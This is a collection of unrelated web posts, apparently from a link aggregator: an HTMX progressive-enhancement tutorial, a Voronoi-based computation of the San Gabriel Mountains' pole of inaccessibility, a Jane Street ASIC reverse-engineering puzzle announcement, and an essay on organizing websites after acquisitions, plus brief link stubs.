Are you planning a sequel after the trilogy?


I hope not.
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     June 25, 2026; Free of LLM-generated text
    
  

  I recently built a new form for ties, with lots of interactivity.
It’s for editing a bookmark and connecting it to lists:


    
    A screencast of a form for editing a bookmark. The user presses a button to rename the bookmark to the title fetched from the bookmarked website, then searches for lists to add the bookmark to.

The feature uses progressive enhancement: it works without JS, but uses HTMX to add some niceties when JS is enabled.

In this post, I’ll go through my approach and talk about a few things to keep in mind when building a UI in this style.

Transient State

Interfaces that work without JS are fundamentally different from single page applications: updating the UI in response to user interactions will often require a roundtrip to the server
(usually initiated by a or form elements).

Before the user completed their task and you’ve saved something to the database, you’ll have “transient state”:
Input that the user entered, that isn’t persisted (yet), and that needs to survive this roundtrip.

One example from the form described above would be a new name for the bookmark.
When the user hits the “rename” button, the name is sent to the server, and if there are validation errors, the server will return a response showing an error.
The response includes the users input value, so they don’t have to type it again.

In an SPA, transient state would live in JS memory, and you’d use some library with an unholy amount of dependencies to manage it.
Since we’re making do without JS, we’ll have to use classic HTML features to manage this state, each with its own set of tradeoffs.

Thinking about how this transient state flows through the system will help mapping complex interactions to HTML.

Form Values

This is used for the “rename” field from the example, and the most commonly used one.
When the form is submitted, the server receives these values and can include them in its response so they don’t vanish when the user interacts with the server.

It’s simple, and most likely the technique you’re already using for lots of user input.

A drawback of this technique is that values will disappear if the user reloads the page.
Another one is that values are only submitted for one form - if you have multiple forms on a single page, values from the other forms will vanish on submit.
For example, the bookmark edit form above is split into two forms: one for renaming the bookmark, and another one assigning lists
(I’ll go into the reasons for the split later on).
You can work around this using HTMX, so users without JS will experience graceful degradation.

Query Parameters and Paths

By putting state into the path or query parameters of the page, it will survive across page reloads. It will also survive bookmarking, being shared as a link, etc.

This is a good usecase for e.g. search queries, like the “search for lists to connect” input in the form above.

The most common ways to set the path and query parameters are links’ href attributes and forms’ action attributes.

You can also use a form with the method="GET" attribute which will put all input values of that form into the query string.

Lastly, you can use submit buttons’ formaction attributes to change the path and query parameters for a form only when a specific submit button is pressed. This one is super handy; I only learned about it while writing this post!

Detecting Which Button Was Pressed

One thing that surprised me when building the new form for ties was that you have no control over what the enter button does; It just submits the first submit button of the form associated to the input.
An accessible form is a keyboard-controllable one, so I ended up splitting the bookmark editing form into two, so hitting enter in the list search input would not rename the bookmark.

To know which button a user pressed when submitting a form, you can use a buttons formaction attribute to change the path the form will submit to; Or you can set the name and value attributes of the button to send a specific form value to the server when that button was pressed.

Progressive Enhancement

To support users without JS, I find it easiest to write a whole feature without htmx first.
This makes sure I don’t architect myself into a corner where I need to refactor later on when I find out something is not possible without JS.

After that’s done, I sprinkle some htmx on top to improve the experience where JS is available.
In my example above, this includes “active search” where users don’t need to hit enter to see search results, and a little spinner to show when the page is waiting for a response from the server.
It usually surprises me how little htmx is really needed when I follow this approach.

When testing changes later on, I disable JS using the browsers devtools, or I add a hx-disable attribute.

hx-target

I’m still figuring out the right way to scope htmx swaps.
I’ve often found bugs because a too narrow part of the page was updated, leaving other parts of the page showing stale data.
Fiddling with out-of-band swaps to solve this feels error prone and overly hard to maintain.

I usually end up swapping the whole page as it’s least likely to break in the future.
A downside of this is that sometimes user input will get lost during the swap, but that’s rare and usually acceptable.

Further Reading

That’s it, I hope you took away something useful from this post!
If you want find out whether this approach might be suitable for your next project, or if you are already using html/htmx and would like to learn more, here are some of my favorite resources.

Alexander Petros’ blog “Unplanned Obsolescence” is a goldmine, with Less htmx is more and Who’s Afraid of a Hard Page Load? being good starting points.

How I use HTMX with Go and Django + htmx patterns go into some patterns for using htmx in the backend.
They translate well to other languages and ecosystems.

If not React, then what? can help you decide if server-rendered html and/or htmx is a good fit for the project you’re building.

Resilient Web Design is an incredibly well-written book about designing robust websites.
It’s more about design in the holistic, rather than the visual sense, and has influenced lots of my technological choices.
If you read one thing from this list, make it this.

Plain Vanilla Web is a reference for modern capabilities of the browser you might not be aware of, presented as a cookbook for common use-cases.
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So I was out hiking with a friend, and a question came up about where the least
accessible point of the San Gabriel Mountains was, with "accessible" defined as
having a road or trail nearby. I decided to answer this question. The resulting
code is in a fresh repository: https://github.com/dkogan/inaccessibility.




This is called the Pole of Inaccessibility: a point that is as far away as
possible from a given set of objects. Locations of such poles are known for the
most landlocked spot on earth or most far away from land. Here we limit
ourselves to the San Gabriel Mountains, and try to stay away from roads and
trails.




Approach


Input data processing



OpenStreetMap has open data I can use to map out all the roads and trails. This
is the input dataset.




For 2D geometry, the best approach to compute the Pole of Inaccessibility
appears to be to construct a Voronoi diagram of the geometry we're trying to
stay away from, and to find the Voronoi vertex corresponding to the
furthest-away point.




Our world is not 2D. Instead, it has varying elevation sitting on top of an
ellipsoid. The grand purpose here is to compute a location that hardy people can
visit and to tell everybody they did it, so extreme accuracy is not required.
Thus I claim that assuming the world is locally-flat and using the
Voronoi-diagram-based method is sufficient. So I construct a plane that best
describes my query area and project all my input points to this plane. I use a
plane that is tangent to the Earth's surface at the center of the query area.
This clearly wouldn't work if trying to find the pole of inaccessibility of
something as large as an ocean, for instance, but it works here.




To compute the tangent plane, I assume the Earth is spherical. As I move along
the tangent plane away from the point of tangency, the elevation error grows:




E = sqrt(Rearth2 + d2) - Rearth




The San Gabriels are about 80km across, and the tangent plane sits in the
middle, so at worst d = 40km and the error is about 125m. That's plenty good
enough. Plot (source):









I ignore the ellipsoid shape of the Earth outright. I ignore the topography as
well, since including it in my distance metrics would require a fancier
algorithm than making a Voronoi diagram, and it would make the notion of
"inaccessibility" more ambiguous.








Pole of Inaccessibility computation



I want to use the most basic Voronoi algorithm, so I represent my input as a set
of points only; no line segments. To get reasonable accuracy, I make sure to
sample each road at least every 100m.




Now that I have my set of dense-enough points in 2D, I construct the Voronoi
diagram. Without constraints the furthest-away point would be infinitely far off
to one side, so generally people constrain the solution to lie within the convex
hull of the input points. This means that the Pole of Inaccessibility lies
either on a Voronoi vertex or at an intersection of a Voronoi edge and the
convex hull of the input. In my case there are generally more roads at the edges
of my query area that in the interior (less stuff in the mountains than in the
flats), so I simply assume that the Pole of Inaccessibility is not on the convex
hull. This simplifies my implementation since I simply ignore all the Voronoi
vertices that are outside of the query region.




So I need to look at every Voronoi vertex, check the distance between it and an
adjacent input point, and return the vertex with the largest such distance.










Implementation


Each step in the process lives in its own program. This simplifies
implementation and makes it easy to work on each piece separately.




Data import



First we query OSM. This is done with the query.sh script. It takes in corners
of the query area, constructs the query, sends it off to the server, and stores
the result. query.sh takes 4 arguments; lat0, lon0, lat1, lon1, and stores its
output in a file called query_$lat0_$lon0_$lat1_$lon1.json. The query uses the
OSM Overpass query language. By default I simply look at all the roads, trails
(everything with a highway tag):




[out:json];

way ["highway"] ($lat0,$lon0,$lat1,$lon1);

(._;>;);

out;




If I want to only consider roads in my computation (allow trails), then I can
exclude trails from the query:




[out:json];

way ["highway"] ["highway" != "footway" ] ["highway" != "path" ] ($lat0,$lon0,$lat1,$lon1);

(._;>;);

out;




Sample invocation:




$ ./query.sh 34.1390884 -118.4944153 34.5020298 -117.5852966

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 28.3M    0 28.3M    0   138  72803      0 --:--:--  0:06:48 --:--:--  138k


$ ls -lh query*

-rw-r--r-- 1 dkogan dkogan 29M May  6 04:12 query_34.1390884_-118.4944153_34.5020298_-117.5852966.json








Data massaging



Next, I take the lat/lon pairs, map them to the tangent plane and make sure the
data is sufficiently dense. This is done by the massage_input.pl script. It
takes in the query_....json file we just obtained, and generates a
points_$lat0_$lon0_$lat1_$lon1.dat file that is a list of (x,y) tuples in my
plane. There's a small header of 4 values, representing the bounds of my data so
that I can reject outlying vertices, as described earlier.




Sample invocation:




$ ./massage_input.pl query_34.1390884_-118.4944153_34.5020298_-117.5852966.json


$ ls -lh points*

-rw-r--r-- 1 dkogan dkogan 4.3M May  6 04:20 points_34.1390884_-118.4944153_34.5020298_-117.5852966.dat








Pole of Inaccessibility computation



Now we can compute the Voronoi diagram. I use boost::polygon to do this. I had
concerns that this step would be prohibitively slow, but the algorithm and this
implementation are quick-enough such that this "just works".




The points_....dat file is inputs on standard input. Note that this is
different from the other tools that read a file on the commandline instead.




For each Voronoi vertex I get an arbitrary neighboring edge, and an arbitrary
neighboring cell. The distance between the vertex and the cell center is
identical for any such edge, cell by definition of a Voronoi vertex. I keep
track of the cell with the largest distance between the vertex and the cell
center, and I report the vertex with the largest such distance as my Pole of
Inaccessibility.




Sample invocation:




$ ./voronoi < points_34.1390884_-118.4944153_34.5020298_-117.5852966.dat

furthest point center, surrounding points:
25541 -78
25308 4259
21223 -543
26931 -4192
distance: 4342.873206




Bam! So the Pole of Inaccessibility is about 4.3 km from the nearest trail/road.
The coordinates here are in my 2D tangent plane, which isn't super useful. Now I
convert them to lat/lon and I'm done.








Unmapping the planar coordinates



I do this with the massaging script as before simply by passing the coords in on
the commandline:




$ ./massage_input.pl query_34.1390884_-118.4944153_34.5020298_-117.5852966.json 25541 -78 25308 4259 21223 -543 26931 -4192

34.3206972918426,-117.761740671673
34.3597096140465,-117.764149633831
34.3165155855012,-117.808770212857
34.2837076589351,-117.746734473897




OK. Done.










Results



I did this three times




	avoiding all roads, trails


	avoiding all roads


	avoiding all paved, driveable roads






All Poles of Inaccessibility are above the East Fork of the San Gabriel River,
by Ross Mountain and Iron Mountain:















	pole
	lat,lon
	distance to nearest (m)





	roads,trails
	34.3204, -117.7617
	4343




	roads only
	34.3108, -117.7474
	5677




	paved roads
	34.2992, -117.7167
	8157







This is shown nicely on the map:




http://caltopo.com/m/4N7A




[image: poles.png]




Looks like the bounding spots for the roads,trails point are the road up to
South Mt Hawkins, the PCT on top of Mt. Baden-Powell and the trail at the Bridge
to Nowhere.




The bounding spots for the roads-only point is the same road up to South Mt
Hawkins, the Cabin Flat Campground and Shoemaker Canyon Road.
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Earlier this year we published a
puzzle that
handed you a complete neural network and asked you to figure out what it did. The response
was great, so we’ve made another one! This time, we’re going much deeper down the tech
stack.


For this puzzle we’ve designed a chip, but we’re only giving you the layout.


A crash course in how chips get made


Modern chips start life as code. A hardware designer describes a circuit in a hardware
description language like Verilog, which gets synthesized into a netlist of logic
gates—NANDs, NORs, XORs, flip-flops. Then electronic design automation tools place and
route those gates: they pick a physical location for every gate on the die and draw the
metal wires that connect them, across many stacked routing layers connected by vias. The
end result is a GDS file: a geometric description of every polygon on every layer of the
chip, from the transistors that do the actual logic to all the metal on top of them.
That’s the file a foundry such as Intel or TSMC uses to fabricate the physical silicon.


The GDS is, in a very real sense, the chip. Everything the circuit does is in there. The
tricky part: nothing is labeled!


[image: Diagram of the ASIC design flow: Verilog code is synthesized into a netlist of           logic gates, placed and routed into a GDS layout, then fabricated on a wafer           and packaged into a chip]


The puzzle



  We’ve designed an ASIC, and we’re giving you its final mask: all of its metal, routing,
and active transistor layers, along with some sample inputs and outputs.


  Your job is to reverse engineer it. First, recover a netlist from the layout. Then
figure out the circuit’s true purpose. And then comes the puzzle within the puzzle: once
you understand what the chip does, use it to tease out the output it’s looking for, and
find the string value that’s your final answer.


  You can find everything you need here.


  Some pointers for getting started:

  
    	The circuit is physically arranged to hint at its functionality, so look closely at
the layout!

    	There is one section of the design that is used to generate the output but does not
affect the [success] output. You can safely ignore it for the initial
reverse-engineering steps.

    	You’ll need to come up with a way to simulate the underlying circuit to test your
solution and get the final output!

    	You’ll know you have the correct solution when the [success] output signal goes
high. Don’t forget to toggle [rst_n] before each input attempt.

    	We hid a few fun Easter eggs in the circuit and in the repository (including in parts
you don’t need to look at to solve the main puzzle), see if you can spot them once
you’re done with the puzzle.

  




Once you figure it out, submit your answer
here
along with a brief description of how you did it. Submissions close on September 4th, 2026.


Feel free to collaborate with friends on the puzzle, but please refrain from posting
spoilers (or a full writeup) online until the submissions are closed. If you do publish
your solution (on a personal blog or repository) after submissions are closed, email us
and we may include the link in our follow-up post!


Please don’t feed the puzzle files directly into an AI tool, nor use it to generate your
writeups. Feel free to use AI for writing any scripts or code you may need as part of
solving the puzzle, though! It’s also fair game to use AI to work through the warm-up
puzzle, see below.


If you have questions as you go, please reach out to
asic-puzzle@janestreet.com — we can’t give hints, but
we’re happy to help otherwise.


We’ll feature the most interesting writeups and techniques in a follow-up post, and send
swag for our favorite solutions.


A warm-up


If you’ve never opened a GDS file before, don’t worry: most people haven’t either. To help
you get started, we’re providing a small worked example: a simple binary adder, with its
Verilog source, its gate-level netlist, and the resulting GDS. You can use it to get
familiar with how a circuit maps onto a layout, and to test any tools you build before
pointing them at the real puzzle.


The warm-up files are available in the puzzle repository.


Everything you need is free and open source: the design uses an open-source PDK, and tools
like KLayout or Magic
VLSI will happily open the GDS and let you poke
around the layers.


And a bigger challenge is coming


Consider this puzzle a warm-up of its own. Later this year we’ll be launching a
competition where, instead of reverse engineering our chip, we’ll challenge you to design
your own - and the most interesting entries will actually get fabricated, so you can test
your chip in real life.


Stay tuned—we’ll announce the details here on the blog in the coming months.


Hardware at Jane Street


The hardware team at Jane Street designs FPGAs and ASICs that run some of the fastest
trading systems in the world, and the day-to-day work is full of puzzles just like this
one: staring at a sea of gates, timing reports, or waveforms and slowly teasing out what’s
really going on. These problems are hard in a way that’s deeply satisfying to solve, and
honestly, it’s a big part of why we like working here.


If that sounds intriguing, some ways of learning more:



  	Check out our hardware (FPGA and
ASIC) internships and
full-time roles.

  	Read about Hardcaml (our open-source OCaml hardware design
libraries)

  	On the academic side, read about our visiting
researcher
and graduate
fellowship
programs.




If you just want to stay in touch, you can fill out this form.



        



Original: https://blog.janestreet.com/can-you-reverse-engineer-an-asic/ · Discussion
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How to organize 3 acquired companies into one coherent website

littlelanguagemodels.com · 13 points · Discussion


Company A has acquired Company B, C, and D. How do we organize their sites, for multiple products with different audiences, while making it easy to find relevant product information and quickly understand how the products work together?




For example, Company A offers residential relocation services. Company B offers relocation services for businesses. Company C offers relocation management software. Company D offers fine art and antique moving services.




What I recommend to clients is formalizing user goals before making rebranding decisions.




People from Company A, B, C, and D are going to bring different perspectives to information architecture decisions based on their:





	day-to-day responsibilities




	previous experiences making IA decisions, positive or negative




	perception of the areas with the highest potential for company growth




	professional goals






Many people’s first impulse is to discuss the products.




How Company A plans and delivers items.




How company B coordinates B2B moves, the types of businesses.




The data powering Company C’s software, the types of users, pricing tiers.




Insurance, identity confirmation, country regulations, employee training for handling fine art for Company D.




These conversations are useful for context gathering, but create an unnecessary us against them environment in the context of the website’s future. You’re with Company A. I’m with Company D. Product discussions keep us aware of this distinction at all times.




Instead, I recommend turning outwards and focusing your attention on user actions.




What does the user of your product get from buying from you?




Why is the user visiting the homepage? What about the contact form? And the pricing page?




Come up with as many user goals for interacting with different areas of the product. Even better if Company D’s folks are writing user goals for Company A, Company A for Company B, and so on.




Having “new” folks come up with user goals helps them get familiarized with the product and it builds empathy for users and employees of the company alike. Amazingly, this serves as a beautiful user research session to unpack biases or currently-unmet user needs.




“Oh, we thought that would be done automatically. We may want to clarify that to users.”




“Oh, I didn’t realize we offer customs, tax, and documentation assistance.”




“It wasn’t clear to me that step was mandatory to schedule a pickup.”




Focusing on user goals highlights opportunities for consolidation and removal across your content. Different areas of different products can help users reach their goals.




Which brings me to the next step: defining different ways for the user to meet their goals.




Define different ways for the user to meet their goals considering format, audience, and information receptiveness




Consider format preferences (a map might work better for locations, but a text field may work better if a service is only offered in <5 locations), audiences (busyness, goals, language), and willingness to interact with company content (someone transporting a luxury item will be more receptive to longer content like PDF brochures, but a moving contractor looking for the login portal will be less patient).




Group content on the homepage and navigation by user goal, and the conversation becomes about ways to delight and provide additional value through the acquisitions, rather than which product of which company does what.




Next, consider labels. I don’t like putting people in boxes, but I swear it’s for a noble purpose here. 




Put users into categories




What are different types of groups a user may belong to for a healthcare training provider?





	Location (by country, city, district)




	Clinical discipline (nursing, surgery, pharmacy)




	Clinical specialty (dermatology, ethics, pathology)




	Phase (needs assessment, pre-briefing, facilitation, debriefing)




	Role (educator, administrator, researcher)




	Institution (academic, commercial, non-profit)






For patients of healthcare providers, groups may include:





	Insurance type




	Age group




	Risk level






These categories (known as taxonomy) can help guide users and quickly orient them. By thinking through possible categorizations, and their overlap (what would a pathology surgery clinician working for a commercial vendor in New York look for and find?), teams can make the digital experience so intuitive that the user doesn’t have to “think” much.




Users should understand options at a glance while being able to get granular, so the categories shouldn’t serve as rigid boxes, rather quicker, more elegant paths to eureka.




Test with a small group of users




Once you have initial low-fidelity designs of key pages/interactions, please, please, please test them with a small user group.





	Do labels match user language?




	Do groupings match users’ mental models?




	Does content hierarchy reflect user goals?




	Is the amount of information provided appropriate for the user’s current step?






Finally, and this is easy to miss: think of content horizontally, not vertically.




Think horizontally, not vertically




What do I mean by this?




I’ve been on many design review meetings where the focus was on the single page we were looking at, and stakeholders wanted to know why X element wasn’t included or why Y was so low on the page.




The thinking goes: if a content component is deprioritized, users will have a difficult time finding it, and get frustrated.





	Vertical content – Content on a single page/interface helping the user reach their goal.




	Horizontal content – Content component used strategically and constantly across pages/interfaces (think: visiting hours being available in nav, footer, location pages, event pages, contact pages, etc.)






Horizontal content improves content discoverability by offering multiple opportunities for the user to find what they’re looking for.




Vertical vs horizontal content thinking



HOKA offers multiple examples of horizontal content thinking. I just shared 3 website lessons from HOKA, one of the fastest growing sport brands. Check out the latest article. 




If you’re a content or design professional who enjoys work-related books, I highly recommend Donna Spencer’s book Presenting Design Work. One of the most valuable lessons I took from the book was presenting findings and recommendations in the context of “a person doing a thing” rather than prototype X or page Y. We’re taught to think vertically when it comes to content, so it’s not easy to remember to take a step back and consider the entire ecosystem, but it is important to do as not to harm user wayfinding.




If you’re a stakeholder in website and product decisions, you can also help guide users by asking questions related to the different ways the user may be looking for information and how the design may be able to accommodate them, not just in a single “important” page, but across touchpoints.




Okay, final final thing: A common point of tension between stakeholders is the fate of the content. People have ideas, fears, and dreams about what will become of the content. I unpacked the feelings aspect of redesign in here: How to manage stakeholder feelings in content decisions for website redesigns. TL;DR: People can be reluctant to make content decisions for all sorts of reasons. Every reason is inherently valid and worth listening to, understanding, and iterating upon as needed. 




Key takeaways




To organize content for multiple products with different audiences, while still making it easy to discover how the products work together:





	Start with user goals




	Identify commonalities across products




	Identify opportunities for consolidation and removal across content




	Define different ways for the user to meet their goals considering format, audience, and information receptiveness




	Put users into categories




	Test with a small group of users




	Provide multiple information pathways to improve discoverability




	Be prepared for content discussions to get heated






AI Policy: I personally write each draft and final copy on this website. All content reflects my own thinking, ideas, style, and craft. I do not use AI such as ChatGPT to generate articles. Occasionally, I ask AI such as Formalizer or Claude to summarize or restate my own ideas and may restructure sections based on the response.





Original: https://littlelanguagemodels.com/how-to-structure-your-sites-after-a-big-acquisition/ · Discussion
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Conway's Game of Life, in real life

lcamtuf.coredump.cx · 12 points · Discussion

Full text couldn't be fetched for this one (paywall, anti-bot, or not an article page). Read it via the links below.

Original: https://lcamtuf.coredump.cx/blog/conway/ · Discussion
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Astronomers capture highest-resolution image ever of the Sun's surface

physicsworld.com · 10 points · Discussion
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